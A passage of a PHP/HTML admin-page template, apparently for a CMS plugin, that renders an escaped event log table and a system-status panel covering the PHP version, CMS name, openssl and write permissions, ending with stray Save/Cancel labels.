endforeach ?> </tbody> </table> </div> <div class="section"> <h2><?= t('sec_event_log', count($events)) ?></h2> <?php if (!$events): ?><p class="muted"><?= t('no_events') ?></p> <?php else: ?> <table> <thead><tr><th style="width:160px;"><?= t('col_time') ?></th><th style="width:80px;"><?= t('col_level') ?></th><th><?= t('col_message') ?></th><th style="width:120px;">IP</th></tr></thead> <tbody> <?php foreach ($events as $e): ?> <tr class="log-row"> <td class="muted"><?= h(str_replace('T',' ',substr($e['t'],0,19))) ?></td> <td><span class="pill <?= h($e['lvl']) ?>"><?= h($e['lvl']) ?></span></td> <td><?= h($e['msg']) ?></td> <td class="muted"><?= h($e['ip']) ?></td> </tr> <?php endforeach ?> </tbody> </table> <?php endif ?> </div> <div class="section"> <h2><?= t('sec_system') ?></h2> <div class="kv"> <div class="k">PHP</div><div><?= h(PHP_VERSION) ?></div> <div class="k"><?= t('sys_cms') ?></div><div><?= h($CMS['name']) ?></div> <div class="k">openssl</div><div><?= extension_loaded('openssl')?t('pill_present'):t('pill_missing') ?></div> <div class="k"><?= t('sys_write_perm') ?></div><div><?= is_writable(__DIR__)?'OK':t('pill_missing') ?></div> <div class="k"><?= t('sys_loader_target') ?></div><div><?= $SG_CONFIG['loader_target_count'] ?></div> <div class="k"><?= t('sys_reset') ?></div><div class="muted"><?= t('sys_reset_desc') ?></div> </div> </div> <div class="foot"><?= t('footer') ?></div> </div> </body></html>
Save
Cancel